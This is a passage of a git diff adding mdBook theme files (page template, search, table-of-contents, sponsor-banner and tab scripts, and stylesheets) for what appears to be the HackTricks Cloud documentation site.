+            delete url.params[URL_MARK_PARAM];
+            delete url.params[URL_SEARCH_PARAM];
+        }
+        // A new search will also add a new history item, so the user can go back
+        // to the page prior to searching. A updated search term will only replace
+        // the url.
+        if (action == "push" || (action == "push_if_new_search_else_replace" && first_search) ) {
+            history.pushState({}, document.title, renderURL(url));
+        } else if (action == "replace" || (action == "push_if_new_search_else_replace" && !first_search) ) {
+            history.replaceState({}, document.title, renderURL(url));
+        }
+    }
+    
+    function doSearch(searchterm) {
+
+        // Don't search the same twice
+        if (current_searchterm == searchterm) { return; }
+        else { current_searchterm = searchterm; }
+
+        if (searchindex == null) { return; }
+
+        // Do the actual search
+        var results = searchindex.search(searchterm, search_options);
+        var resultcount = Math.min(results.length, results_options.limit_results);
+
+        // Display search metrics
+        searchresults_header.innerText = formatSearchMetric(resultcount, searchterm);
+
+        // Clear and insert results
+        var searchterms  = searchterm.split(' ');
+        removeChildren(searchresults);
+        for(var i = 0; i < resultcount ; i++){
+            var resultElem = document.createElement('li');
+            resultElem.innerHTML = formatSearchResult(results[i], searchterms);
+            searchresults.appendChild(resultElem);
+        }
+
+        // Display results
+        showResults(true);
+    }
+
+    fetch(path_to_root + 'searchindex.json')
+        .then(response => response.json())
+        .then(json => init(json))        
+        .catch(error => { // Try to load searchindex.js if fetch failed
+            var script = document.createElement('script');
+            script.src = path_to_root + 'searchindex.js';
+            script.onload = () => init(window.search);
+            document.head.appendChild(script);
+        });
+
+    // Exported functions
+    search.hasFocus = hasFocus;
+})(window.search);
\ No newline at end of file
diff --git a/theme/index.hbs b/theme/index.hbs
new file mode 100644
index 000000000..ecd2565f4
--- /dev/null
+++ b/theme/index.hbs
@@ -0,0 +1,392 @@
+<!DOCTYPE HTML>
+<html lang="{{ language }}" class="{{ default_theme }} sidebar-visible" dir="{{ text_direction }}">
+    <head>
+        <!-- Book generated using mdBook -->
+        <meta charset="UTF-8">
+        <title>{{ title }}</title>
+        {{#if is_print }}
+        <meta name="robots" content="noindex">
+        {{/if}}
+        {{#if base_url}}
+        <base href="{{ base_url }}">
+        {{/if}}
+
+        <!-- Custom HTML head -->
+        {{> head}}
+
+        <meta name="description" content="{{ description }}">
+        <meta name="viewport" content="width=device-width, initial-scale=1">
+        <meta name="theme-color" content="#ffffff">
+
+        {{#if favicon_svg}}
+        <link rel="icon" href="{{ path_to_root }}favicon.svg">
+        {{/if}}
+        {{#if favicon_png}}
+        <link rel="shortcut icon" href="{{ path_to_root }}favicon.png">
+        {{/if}}
+        <link rel="stylesheet" href="{{ path_to_root }}css/variables.css">
+        <link rel="stylesheet" href="{{ path_to_root }}css/general.css">
+        <link rel="stylesheet" href="{{ path_to_root }}css/chrome.css">
+        {{#if print_enable}}
+        <link rel="stylesheet" href="{{ path_to_root }}css/print.css" media="print">
+        {{/if}}
+
+        <!-- Fonts -->
+        <link rel="stylesheet" href="{{ path_to_root }}FontAwesome/css/font-awesome.css">
+        {{#if copy_fonts}}
+        <link rel="stylesheet" href="{{ path_to_root }}fonts/fonts.css">
+        {{/if}}
+
+        <!-- Highlight.js Stylesheets -->
+        <link rel="stylesheet" href="{{ path_to_root }}highlight.css">
+        <link rel="stylesheet" href="{{ path_to_root }}tomorrow-night.css">
+        <link rel="stylesheet" href="{{ path_to_root }}ayu-highlight.css">
+
+        <!-- Custom theme stylesheets -->
+        {{#each additional_css}}
+        <link rel="stylesheet" href="{{ ../path_to_root }}{{ this }}">
+        {{/each}}
+
+        {{#if mathjax_support}}
+        <!-- MathJax -->
+        <script async src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
+        {{/if}}
+
+        <!-- Provide site root to javascript -->
+        <script>
+            var path_to_root = "{{ path_to_root }}";
+            var default_theme = window.matchMedia("(prefers-color-scheme: dark)").matches ? "{{ preferred_dark_theme }}" : "{{ default_theme }}";
+        </script>
+        <!-- Start loading toc.js asap -->
+        <script src="{{ path_to_root }}toc.js"></script>
+    </head>
+    <body>
+    <div id="body-container">
+        <!-- Work around some values being stored in localStorage wrapped in quotes -->
+        <script>
+            try {
+                var theme = localStorage.getItem('mdbook-theme');
+                var sidebar = localStorage.getItem('mdbook-sidebar');
+
+                if (theme.startsWith('"') && theme.endsWith('"')) {
+                    localStorage.setItem('mdbook-theme', theme.slice(1, theme.length - 1));
+                }
+
+                if (sidebar.startsWith('"') && sidebar.endsWith('"')) {
+                    localStorage.setItem('mdbook-sidebar', sidebar.slice(1, sidebar.length - 1));
+                }
+            } catch (e) { }
+        </script>
+
+        <!-- Set the theme before any content is loaded, prevents flash -->
+        <script>
+            var theme;
+            try { theme = localStorage.getItem('mdbook-theme'); } catch(e) { }
+            if (theme === null || theme === undefined) { theme = default_theme; }
+            const html = document.documentElement;
+            html.classList.remove('{{ default_theme }}')
+            html.classList.add(theme);
+            html.classList.add("js");
+        </script>
+
+        <input type="checkbox" id="sidebar-toggle-anchor" class="hidden">
+
+        <!-- Hide / unhide sidebar before it is displayed -->
+        <script>
+            var sidebar = null;
+            var sidebar_toggle = document.getElementById("sidebar-toggle-anchor");
+            var body = document.querySelector("body");
+            if (document.body.clientWidth >= 550) {
+                try { sidebar = localStorage.getItem('mdbook-sidebar'); } catch(e) { }
+                sidebar = sidebar || 'visible';
+            } else {
+                sidebar = 'hidden';
+            }
+            sidebar_toggle.checked = sidebar === 'visible';
+            html.classList.remove('sidebar-visible');
+            html.classList.add("sidebar-" + sidebar);
+            body.classList.remove('sidebar-visible');
+            body.classList.add("sidebar-" + sidebar);
+        </script>
+
+        <div id="page-wrapper" class="page-wrapper">
+            {{#if search_enabled}}
+            <div id="search-wrapper" class="hidden">
+                <div id="search-modal">
+                    <form id="searchbar-outer" class="searchbar-outer">
+                        <span class="fa fa-search"></span>
+                        <input type="search" id="searchbar" name="searchbar" placeholder="Search this book ..." aria-controls="searchresults-outer" aria-describedby="searchresults-header">
+                    </form>
+                    <div id="searchresults-outer" class="searchresults-outer hidden">
+                        <div id="searchresults-header" class="searchresults-header"></div>
+                        <ul id="searchresults">
+                        </ul>
+                    </div>
+                </div>
+            </div>
+            {{/if}}
+
+            <div class="page">
+                {{> header}}
+                <div id="menu-bar-hover-placeholder"></div>
+                <div id="menu-bar" class="menu-bar sticky">
+                    <div class="menu-bar-container">
+                        <div class="left-buttons">
+                            <label id="sidebar-toggle" class="icon-button" for="sidebar-toggle-anchor" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
+                                <i class="fa fa-bars"></i>
+                            </label>
+                            <a href="/">
+                                <h1 class="menu-title"><img src="../../../../../images/CLOUD-web-logo.png" alt="" style="width:auto;height:30px;vertical-align:middle;margin-right:5px;">{{ book_title }}</h1>
+                            </a>
+
+                        </div>
+
+
+                        <div class="right-buttons">
+                            <div id="menubar-collapse">
+                            <a class="menu-bar-link" href="https://training.hacktricks.xyz" target="_blank">
+                                Hacktricks Training
+                            </a>
+                            <a class="menu-bar-link" href="https://twitter.com/hacktricks_live" target="_blank">
+                                Twitter
+                            </a>
+                            <a class="menu-bar-link" href="https://www.linkedin.com/company/hacktricks" target="_blank">
+                                Linkedin
+                            </a>
+                            <a class="menu-bar-link" href="https://github.com/sponsors/carlospolop" target="_blank">
+                                Sponsor
+                            </a>
+                            </div>
+                            <button id="menubar-collapse-toggle" class="icon-button" type="button" title="Toggle menu bar" aria-label="Toggle Menu bar" aria-expanded="false" aria-controls="collapse">
+                                <i class="fa fa-ellipsis-h"></i>
+                            </button>
+                            <div id="menubar-collapse-popup" class="menubar-collapse-popup" aria-label="Menu" role="menu">
+                                <a href="https://training.hacktricks.xyz" target="_blank" role="menuitem" class="menu-bar-link">Hacktricks Training</a>
+                                <a href="https://twitter.com/hacktricks_live" target="_blank" role="menuitem" class="menu-bar-link">Twitter</a>
+                                <a href="https://www.linkedin.com/company/hacktricks" target="_blank" role="menuitem" class="menu-bar-link">Linkedin</a>
+                                <a href="https://github.com/sponsors/carlospolop" target="_blank" role="menuitem" class="menu-bar-link">Sponsor</a>
+                            </div>
+
+                            {{#if search_enabled}}
+                            <button id="search-toggle" class="icon-button" type="button" title="Search. (Shortkey: s)" aria-label="Toggle Searchbar" aria-expanded="false" aria-keyshortcuts="S" aria-controls="searchbar">
+                                <i class="fa fa-search"></i>
+                            </button>
+                            {{/if}}
+
+                            {{#if print_enable}}
+                            <a href="{{ path_to_root }}print.html" title="Print this book" aria-label="Print this book">
+                                <i id="print-button" class="fa fa-print"></i>
+                            </a>
+                            {{/if}}
+                            {{#if git_repository_url}}
+                            <a href="{{git_repository_url}}" title="Git repository" aria-label="Git repository">
+                                <i id="git-repository-button" class="fa {{git_repository_icon}}"></i>
+                            </a>
+                            {{/if}}
+                            {{#if git_repository_edit_url}}
+                            <a href="{{git_repository_edit_url}}" title="Suggest an edit" aria-label="Suggest an edit">
+                                <i id="git-edit-button" class="fa fa-edit"></i>
+                            </a>
+                            {{/if}}
+
+                        </div>
+                    </div>
+                </div>
+                <div id="container" class="container">
+                    <nav id="sidebar" class="sidebar" aria-label="Table of contents">
+                        <!-- populated by js -->
+                        <mdbook-sidebar-scrollbox class="sidebar-scrollbox"></mdbook-sidebar-scrollbox>
+                        <noscript>
+                            <iframe class="sidebar-iframe-outer" src="{{ path_to_root }}toc.html"></iframe>
+                        </noscript>
+                    </nav>
+                    <!-- Apply ARIA attributes after the sidebar and the sidebar toggle button are added to the DOM -->
+                    <script>
+                        document.getElementById('sidebar-toggle').setAttribute('aria-expanded', sidebar === 'visible');
+                        document.getElementById('sidebar').setAttribute('aria-hidden', sidebar !== 'visible');
+                        Array.from(document.querySelectorAll('#sidebar a')).forEach(function(link) {
+                            link.setAttribute('tabIndex', sidebar === 'visible' ? 0 : -1);
+                        });
+                    </script>
+
+                    <div id="content" class="content">
+                        <main>
+                            <div class="mobilesponsor-wrapper">
+
+                            <a class="mobilesponsor" href="" target="_blank">
+                                <img src="" alt="" srcset="">
+                                <div class="mobilesponsor-title">
+                                </div>
+                                <div class="mobilesponsor-description">
+                                </div>
+                                <div class="mobilesponsor-cta"></div>
+                            </a>
+                            </div>
+                            {{{ content }}}
+                        </main>
+
+                        <nav class="nav-wrapper" aria-label="Page navigation">
+                            <!-- Mobile navigation buttons -->
+                            {{#previous}}
+                                <a rel="prev" href="{{ path_to_root }}{{link}}" class="mobile-nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
+                                    <i class="fa fa-angle-left"></i>
+                                </a>
+                            {{/previous}}
+
+                            {{#next}}
+                                <a rel="next prefetch" href="{{ path_to_root }}{{link}}" class="mobile-nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
+                                    <i class="fa fa-angle-right"></i>
+                                </a>
+                            {{/next}}
+
+                            <div style="clear: both"></div>
+                        </nav>
+
+                        <nav class="nav-wide-wrapper" aria-label="Page navigation">
+                            {{#previous}}
+                                <a rel="prev" href="{{ path_to_root }}{{link}}" class="nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
+                                    <i class="fa fa-angle-left"></i><span style="font-size: medium; align-self: center; margin-left: 10px;">{{title}}</span>
+                                </a>
+                            {{/previous}}
+
+                            {{#next}}
+                                <a rel="next prefetch" href="{{ path_to_root }}{{link}}" class="nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
+                                    <span style="font-size: medium; align-self: center; margin-right: 10px;">{{title}}</span><i class="fa fa-angle-right"></i>
+                                </a>
+                            {{/next}}
+                        </nav>
+                    </div>
+
+                    <div class="sidetoc">
+                        <div class="sidetoc-wrapper">
+                            <nav class="pagetoc"></nav>
+                            <a class="sidesponsor" href="" target="_blank">
+                                <img src="" alt="" srcset="">
+                                <div class="sponsor-title">
+                                </div>
+                                <div class="sponsor-description">
+                                </div>
+                                <div class="sponsor-cta"></div>
+                            </a>
+                        </div>
+                    </div>
+                </div>
+                <div class="footer">
+                    <div id="theme-wrapper" class="theme-wrapper">
+                        <div id="theme-btns" class="theme-btns">
+                            <button id="hacktricks-light" type="button" role="radio" aria-label="Switch to light theme" aria-checked="false" class="theme">
+                                <i class="fa fa-sun-o"></i>
+                            </button>
+                            {{!-- <button id="default_theme" type="button" role="radio" aria-label="Switch to system theme" aria-checked="true" class="theme">
+                                <i class="fa fa-laptop"></i>
+                            </button> --}}
+                            <button id="hacktricks-dark" type="button" role="radio" aria-label="Switch to dark theme" aria-checked="false" class="theme theme-selected">
+                                <i class="fa fa-moon-o"></i>
+                            </button>
+                        </div>
+                    </div>
+                </div>
+            </div>
+
+
+
+        </div>
+
+        {{#if live_reload_endpoint}}
+        <!-- Livereload script (if served using the cli tool) -->
+        <script>
+            const wsProtocol = location.protocol === 'https:' ? 'wss:' : 'ws:';
+            const wsAddress = wsProtocol + "//" + location.host + "/" + "{{{live_reload_endpoint}}}";
+            const socket = new WebSocket(wsAddress);
+            socket.onmessage = function (event) {
+                if (event.data === "reload") {
+                    socket.close();
+                    location.reload();
+                }
+            };
+
+            window.onbeforeunload = function() {
+                socket.close();
+            }
+        </script>
+        {{/if}}
+
+        {{#if google_analytics}}
+        <!-- Google Analytics Tag -->
+        <script>
+            var localAddrs = ["localhost", "127.0.0.1", ""];
+
+            // make sure we don't activate google analytics if the developer is
+            // inspecting the book locally...
+            if (localAddrs.indexOf(document.location.hostname) === -1) {
+                (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
+                (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
+                m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
+                })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
+
+                ga('create', '{{google_analytics}}', 'auto');
+                ga('send', 'pageview');
+            }
+        </script>
+        {{/if}}
+
+        {{#if playground_line_numbers}}
+        <script>
+            window.playground_line_numbers = true;
+        </script>
+        {{/if}}
+
+        {{#if playground_copyable}}
+        <script>
+            window.playground_copyable = true;
+        </script>
+        {{/if}}
+
+        {{#if playground_js}}
+        <script src="{{ path_to_root }}ace.js"></script>
+        <script src="{{ path_to_root }}editor.js"></script>
+        <script src="{{ path_to_root }}mode-rust.js"></script>
+        <script src="{{ path_to_root }}theme-dawn.js"></script>
+        <script src="{{ path_to_root }}theme-tomorrow_night.js"></script>
+        {{/if}}
+
+        {{#if search_js}}
+        <script src="{{ path_to_root }}elasticlunr.min.js"></script>
+        <script src="{{ path_to_root }}mark.min.js"></script>
+        <!--<script src="{{ path_to_root }}searcher.js"></script>-->
+        {{/if}}
+
+        <script src="{{ path_to_root }}clipboard.min.js"></script>
+        <script src="{{ path_to_root }}highlight.js"></script>
+        <script src="{{ path_to_root }}book.js"></script>
+
+        <!-- Custom JS scripts -->
+        {{#each additional_js}}
+        <script src="{{ ../path_to_root }}{{this}}"></script>
+        {{/each}}
+
+        <!-- Custom analytics -->
+        <script defer src="https://www.fairanalytics.de/pixel/deXeO7BNBrMuhdG1"></script>
+
+
+        {{#if is_print}}
+        {{#if mathjax_support}}
+        <script>
+        window.addEventListener('load', function() {
+            MathJax.Hub.Register.StartupHook('End', function() {
+                window.setTimeout(window.print, 100);
+            });
+        });
+        </script>
+        {{else}}
+        <script>
+        window.addEventListener('load', function() {
+            window.setTimeout(window.print, 100);
+        });
+        </script>
+        {{/if}}
+        {{/if}}
+
+    </div>
+    </body>
+</html>
diff --git a/theme/pagetoc.css b/theme/pagetoc.css
new file mode 100644
index 000000000..d979c7427
--- /dev/null
+++ b/theme/pagetoc.css
@@ -0,0 +1,189 @@
+@media only screen and (max-width:1439px) {
+    .sidetoc {
+        display: none !important;
+    }
+    .mobilesponsor {
+        margin-top: 25px;
+        max-height: 40%;
+        height: 40%;
+        background-color: var(--bg);
+        border: 1px solid var(--table-border-color);
+        border-radius: 8px;
+        padding: 5px;
+        display: none; /*changed via JS once ad is loaded*/
+        flex-direction: column;
+        text-decoration: none !important;
+    }
+    .mobilesponsor img {
+        height: auto;
+        width: 40%;
+        padding: 10px;        
+        transition-property: all;
+        transition-timing-function: cubic-bezier(.4,0,.2,1);
+        transition-duration: .3s;
+    }
+    /* .mobilesponsor:hover img{
+       width: 30%;
+    } */
+    .mobilesponsor .mobilesponsor-title{
+        margin-top: 5px;
+        margin-bottom: 5px;
+        margin-left: 15px;
+        margin-right: 15px;
+        font-weight: 800;
+        font-size: 2rem;
+        color: var(--sponsor-fg);
+    }
+    .mobilesponsor .mobilesponsor-description{
+        display:block;
+        margin-top: 5px;
+        margin-bottom: 15px;
+        margin-left: 15px;
+        margin-right: 15px;
+        color: var(--sponsor-fg);        
+        transition-property: all;
+        transition-timing-function: cubic-bezier(.4,0,.2,1);
+        transition-duration: .3s;
+    }
+    /* .mobilesponsor:hover .mobilesponsor-description{
+        display:block;
+    } */
+    .mobilesponsor .mobilesponsor-cta{
+        margin-top: auto;
+        margin-bottom: 10px;
+        margin-left: 20px;
+        margin-right: 20px;
+        text-align: center;
+        padding: 7px;
+        border-radius: 8px;
+        background-color: var(--fg);
+        color: var(--bg);
+    }
+}
+
+@media only screen and (min-width:1440px) {
+    main {
+        position: relative;
+    }
+    .sidetoc {
+        width: 250px;
+        margin-top: 25px;
+    }
+    .sidetoc-wrapper {
+        position: fixed;
+        width: 250px;
+        height: calc(100vh - var(--menu-bar-height)  - 25px * 2);
+        overflow: auto;
+        display: flex;
+        flex-direction: column;
+        gap:20px;
+    }
+    .pagetoc {
+        max-height: 60%;
+        overflow: auto;
+        border-left: 1px solid var(--table-border-color);
+    }
+    .sidesponsor {
+        max-height: 40%;
+        height: 40%;
+        background-color: var(--bg);
+        border: 1px solid var(--table-border-color);
+        border-radius: 8px;
+        padding: 5px;
+        display: none; /*changed via JS once ad is loaded*/
+        flex-direction: column;
+        text-decoration: none !important;
+    }
+    .sidesponsor img {
+        height: auto;
+        width: 60%;
+        padding: 10px;        
+        transition-property: all;
+        transition-timing-function: cubic-bezier(.4,0,.2,1);
+        transition-duration: .3s;
+    }
+    .sidesponsor:hover img{
+       width: 30%;
+    }
+    .sidesponsor .sponsor-title{
+        margin-top: 5px;
+        margin-bottom: 5px;
+        margin-left: 15px;
+        margin-right: 15px;
+        font-weight: 800;
+        font-size: 2rem;
+        color: var(--sponsor-fg);
+    }
+    .sidesponsor .sponsor-description{
+        display:none;
+        margin-top: 5px;
+        margin-bottom: 15px;
+        margin-left: 15px;
+        margin-right: 15px;
+        color: var(--sponsor-fg);        
+        transition-property: all;
+        transition-timing-function: cubic-bezier(.4,0,.2,1);
+        transition-duration: .3s;
+        overflow: scroll;
+    }
+    .sidesponsor:hover .sponsor-description{
+        display:block;
+
+    }
+    .sidesponsor .sponsor-cta{
+        margin-top: auto;
+        margin-bottom: 10px;
+        margin-left: 20px;
+        margin-right: 20px;
+        text-align: center;
+        padding: 7px;
+        border-radius: 8px;
+        background-color: var(--fg);
+        color: var(--bg);
+    }
+    .mobilesponsor-wrapper {
+        display: none !important;
+    }
+
+    .pagetoc a {
+        border-left: 1px solid var(--sidebar-bg);
+        color: var(--fg) !important;
+        display: block;
+        padding-bottom: 5px;
+        padding-top: 5px;
+        padding-left: 10px;
+        padding-right: 10px;
+        text-align: left;
+        text-decoration: none;
+        text-overflow: ellipsis;
+        line-clamp: 2;
+        -webkit-line-clamp: 2;
+        -webkit-box-orient: vertical;
+        overflow: hidden;
+    }
+    .pagetoc a:hover {
+        background: var(--sidebar-bg-hover);
+        color: var(--sidebar-active) !important;
+        border-radius: 5px;
+    }
+    .pagetoc a.active {
+        background: var(--sidebar-bg-hover);
+        color: var(--sidebar-active) !important;
+        border-radius: 5px;
+    }
+    .pagetoc .pagetoc-H2 {
+        padding-left: 20px;
+    }
+    .pagetoc .pagetoc-H3 {
+        padding-left: 40px;
+    }
+    .pagetoc .pagetoc-H4 {
+        padding-left: 60px;
+    }
+    .pagetoc .pagetoc-H5 {
+        display: none;
+    }
+    .pagetoc .pagetoc-H6 {
+        display: none;
+    }
+}
diff --git a/theme/pagetoc.js b/theme/pagetoc.js
new file mode 100644
index 000000000..5962db9f3
--- /dev/null
+++ b/theme/pagetoc.js
@@ -0,0 +1,68 @@
+let scrollTimeout;
+
+const listenActive = () => {
+  const elems = document.querySelector(".pagetoc").children;
+  [...elems].forEach(el => {
+    el.addEventListener("click", (event) => {
+      clearTimeout(scrollTimeout);
+      [...elems].forEach(el => el.classList.remove("active"));
+      el.classList.add("active");
+      // Prevent scroll updates for a short period
+      scrollTimeout = setTimeout(() => {
+        scrollTimeout = null;
+      }, 100); // Adjust timing as needed
+    });
+  });
+};
+
+const getPagetoc = () => document.querySelector(".pagetoc") || autoCreatePagetoc();
+
+const autoCreatePagetoc = () => {
+  const main = document.querySelector("#content > main");
+  const content = Object.assign(document.createElement("div"), {
+    className: "content-wrap"
+  });
+  content.append(...main.childNodes);
+  main.prepend(content);
+  main.insertAdjacentHTML("afterbegin", '<div class="sidetoc"><nav class="pagetoc"></nav></div>');
+  return document.querySelector(".pagetoc");
+};
+const updateFunction = () => {
+  if (scrollTimeout) return; // Skip updates if within the cooldown period from a click
+  const headers = [...document.getElementsByClassName("header")];
+  const scrolledY = window.scrollY;
+  let lastHeader = null;
+
+  // Find the last header that is above the current scroll position
+  for (let i = headers.length - 1; i >= 0; i--) {
+    if (scrolledY >= headers[i].offsetTop) {
+      lastHeader = headers[i];
+      break;
+    }
+  }
+
+  const pagetocLinks = [...document.querySelector(".pagetoc").children];
+  pagetocLinks.forEach(link => link.classList.remove("active"));
+
+  if (lastHeader) {
+    const activeLink = pagetocLinks.find(link => lastHeader.href === link.href);
+    if (activeLink) activeLink.classList.add("active");
+  }
+};
+
+window.addEventListener('load', () => {
+  const pagetoc = getPagetoc();
+  const headers = [...document.getElementsByClassName("header")];
+  headers.forEach(header => {
+    const link = Object.assign(document.createElement("a"), {
+      textContent: header.text,
+      href: header.href,
+      className: `pagetoc-${header.parentElement.tagName}`
+    });
+    pagetoc.appendChild(link);
+  });
+  updateFunction();
+  listenActive();
+  window.addEventListener("scroll", updateFunction);
+});
+
diff --git a/theme/sponsor.js b/theme/sponsor.js
new file mode 100644
index 000000000..4875d91f8
--- /dev/null
+++ b/theme/sponsor.js
@@ -0,0 +1,58 @@
+;(function sponsor() {
+  var sponsorSide = document.querySelector(".sidesponsor")
+  var sponsorImg = sponsorSide.querySelector(".sidesponsor img")
+  var sponsorTitle = sponsorSide.querySelector(".sponsor-title")
+  var sponsorDescription = sponsorSide.querySelector(".sponsor-description")
+  var sponsorCTA = sponsorSide.querySelector(".sponsor-cta")
+  var mobilesponsorSide = document.querySelector(".mobilesponsor")
+  var mobilesponsorImg = mobilesponsorSide.querySelector(".mobilesponsor img")
+  var mobilesponsorTitle = mobilesponsorSide.querySelector(
+    ".mobilesponsor-title"
+  )
+  var mobilesponsorDescription = mobilesponsorSide.querySelector(
+    ".mobilesponsor-description"
+  )
+  var mobilesponsorCTA = mobilesponsorSide.querySelector(".mobilesponsor-cta")
+
+  async function getSponsor() {
+    const url = "https://cloud.hacktricks.wiki/sponsor"
+    try {
+      const response = await fetch(url, { method: "GET" })
+      if (!response.ok) {
+        console.log(response)
+        throw new Error(`Response status: ${response.status}`)
+      }
+
+      const json = await response.json()
+      var sponsor = json.sponsor
+      console.log("boop", sponsor)
+      sponsorImg.src = sponsor.image_url
+      sponsorTitle.textContent = sponsor.name
+      sponsorDescription.innerHTML = sponsor.description
+      sponsorSide.href = sponsor.link
+      sponsorCTA.textContent = sponsor.cta
+      sponsorSide.style.display = "flex"
+
+      mobilesponsorImg.src = sponsor.image_url
+      mobilesponsorTitle.textContent = sponsor.name
+      mobilesponsorDescription.innerHTML = sponsor.description
+      mobilesponsorSide.href = sponsor.link
+      mobilesponsorCTA.textContent = sponsor.cta
+      mobilesponsorSide.style.display = "flex"
+
+      if (sponsor.name.length > 45) {
+        sponsorTitle.style.fontSize = "1.6rem"
+        mobilesponsorTitle.style.fontSize = "1.6rem"
+      }
+
+      if (sponsor.description.length > 250) {
+        sponsorDescription.style.fontSize = "1.4rem"
+        mobilesponsorDescription.style.fontSize = "1.4rem"
+      }
+    } catch (error) {
+      console.error(error.message)
+    }
+  }
+
+  getSponsor()
+})()
diff --git a/theme/tabs.css b/theme/tabs.css
new file mode 100644
index 000000000..07a4dec9d
--- /dev/null
+++ b/theme/tabs.css
@@ -0,0 +1,41 @@
+.mdbook-tabs-container{
+    background-color: var(--bg);
+    border: 1px solid var(--table-border-color);
+    border-radius: 8px;
+}
+
+.mdbook-tabs {
+    display: flex;
+    margin-top: 0 !important;
+}
+
+.mdbook-tab {
+    background-color: var(--bg);
+    padding: 0.5rem 1rem;
+    cursor: pointer;
+    border: none;
+    font-size: 1.6rem;
+    line-height: 1.45em;
+    color: var(--icons-hover);
+}
+
+.mdbook-tab:hover {
+    color: var(--icons);
+}
+
+.mdbook-tab.active {
+    background-color: var(--theme-hover);
+    color: var(--icons);
+}
+
+.mdbook-tab-content {
+    padding: 1.2rem;
+}
+
+.mdbook-tab-content table {
+    margin: unset;
+}
+
+.mdbook-tab-content pre {
+    margin: unset;
+}
diff --git a/theme/tabs.js b/theme/tabs.js
new file mode 100644
index 000000000..8ba5e878c
--- /dev/null
+++ b/theme/tabs.js
@@ -0,0 +1,75 @@
+/**
+ * Change active tab of tabs.
+ *
+ * @param {Element} container
+ * @param {string} name
+ */
+const changeTab = (container, name) => {
+    for (const child of container.children) {
+        if (!(child instanceof HTMLElement)) {
+            continue;
+        }
+
+        if (child.classList.contains('mdbook-tabs')) {
+            for (const tab of child.children) {
+                if (!(tab instanceof HTMLElement)) {
+                    continue;
+                }
+
+                if (tab.dataset.tabname === name) {
+                    tab.classList.add('active');
+                } else {
+                    tab.classList.remove('active');
+                }
+            }
+        } else if (child.classList.contains('mdbook-tab-content')) {
+            if (child.dataset.tabname === name) {
+                child.classList.remove('hidden');
+            } else {
+                child.classList.add('hidden');
+            }
+        }
+    }
+};
+
+document.addEventListener('DOMContentLoaded', () => {
+    const tabs = document.querySelectorAll('.mdbook-tab');
+    for (const tab of tabs) {
+        tab.addEventListener('click', () => {
+            if (!(tab instanceof HTMLElement)) {
+                return;
+            }
+
+            if (!tab.parentElement || !tab.parentElement.parentElement) {
+                return;
+            }
+
+            const container = tab.parentElement.parentElement;
+            const name = tab.dataset.tabname;
+            const global = container.dataset.tabglobal;
+
+            changeTab(container, name);
+
+            if (global) {
+                localStorage.setItem(`mdbook-tabs-${global}`, name);
+
+                const globalContainers = document.querySelectorAll(
+                    `.mdbook-tabs-container[data-tabglobal="${global}"]`
+                );
+                for (const globalContainer of globalContainers) {
+                    changeTab(globalContainer, name);
+                }
+            }
+        });
+    }
+
+    const containers = document.querySelectorAll('.mdbook-tabs-container[data-tabglobal]');
+    for (const container of containers) {
+        const global = container.dataset.tabglobal;
+
+        const name = localStorage.getItem(`mdbook-tabs-${global}`);
+        if (name && document.querySelector(`.mdbook-tab[data-tabname=${name}]`)) {
+            changeTab(container, name);
+        }
+    }
+});
diff --git a/theme/toc.js.hbs b/theme/toc.js.hbs
new file mode 100644
index 000000000..5bc3c97a3
--- /dev/null
+++ b/theme/toc.js.hbs
@@ -0,0 +1,73 @@
+// Populate the sidebar
+//
+// This is a script, and not included directly in the page, to control the total size of the book.
+// The TOC contains an entry for each page, so if each page includes a copy of the TOC,
+// the total size of the page becomes O(n**2).
+class MDBookSidebarScrollbox extends HTMLElement {
+    constructor() {
+        super();
+    }
+    connectedCallback() {
+        // Modify TOC to support external links
+        var toc = '{{#toc}}{{/toc}}';
+        toc = toc.replace(/<div>([^$<>]*)\$\$external:([^$<>]*)\$\$<\/div>/g, '<a class="external-link" href="$2">$1</a>') 
+        this.innerHTML = toc
+        // Set the current, active page, and reveal it if it's hidden
+        let current_page = document.location.href.toString();
+        if (current_page.endsWith("/")) {
+            current_page += "index.html";
+        }
+        var links = Array.prototype.slice.call(this.querySelectorAll("a"));
+        var l = links.length;
+        for (var i = 0; i < l; ++i) {
+            var link = links[i];
+            var href = link.getAttribute("href");
+            if (href && !href.startsWith("#") && !/^(?:[a-z+]+:)?\/\//.test(href)) {
+                link.href = path_to_root + href;
+            }
+            // The "index" page is supposed to alias the first chapter in the book.
+            if (link.href === current_page || (i === 0 && path_to_root === "" && current_page.endsWith("/index.html"))) {
+                link.classList.add("active");
+                var parent = link.parentElement;
+                if (parent && parent.classList.contains("chapter-item")) {
+                    parent.classList.add("expanded");
+                }
+                while (parent) {
+                    if (parent.tagName === "LI" && parent.previousElementSibling) {
+                        if (parent.previousElementSibling.classList.contains("chapter-item")) {
+                            parent.previousElementSibling.classList.add("expanded");
+                        }
+                    }
+                    parent = parent.parentElement;
+                }
+            }
+        }
+        // Track and set sidebar scroll position
+        this.addEventListener('click', function(e) {
+            if (e.target.tagName === 'A') {
+                sessionStorage.setItem('sidebar-scroll', this.scrollTop);
+            }
+        }, { passive: true });
+        var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+        sessionStorage.removeItem('sidebar-scroll');
+        if (sidebarScrollTop) {
+            // preserve sidebar scroll position when navigating via links within sidebar
+            this.scrollTop = sidebarScrollTop;
+        } else {
+            // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+            var activeSection = document.querySelector('#sidebar .active');
+            if (activeSection) {
+                activeSection.scrollIntoView({ block: 'center' });
+            }
+        }
+        // Toggle buttons
+        var sidebarAnchorToggles = document.querySelectorAll('#sidebar a.toggle');
+        function toggleSection(ev) {
+            ev.currentTarget.parentElement.classList.toggle('expanded');
+        }
+        Array.from(sidebarAnchorToggles).forEach(function (el) {
+            el.addEventListener('click', toggleSection);
+        });
+    }
+}
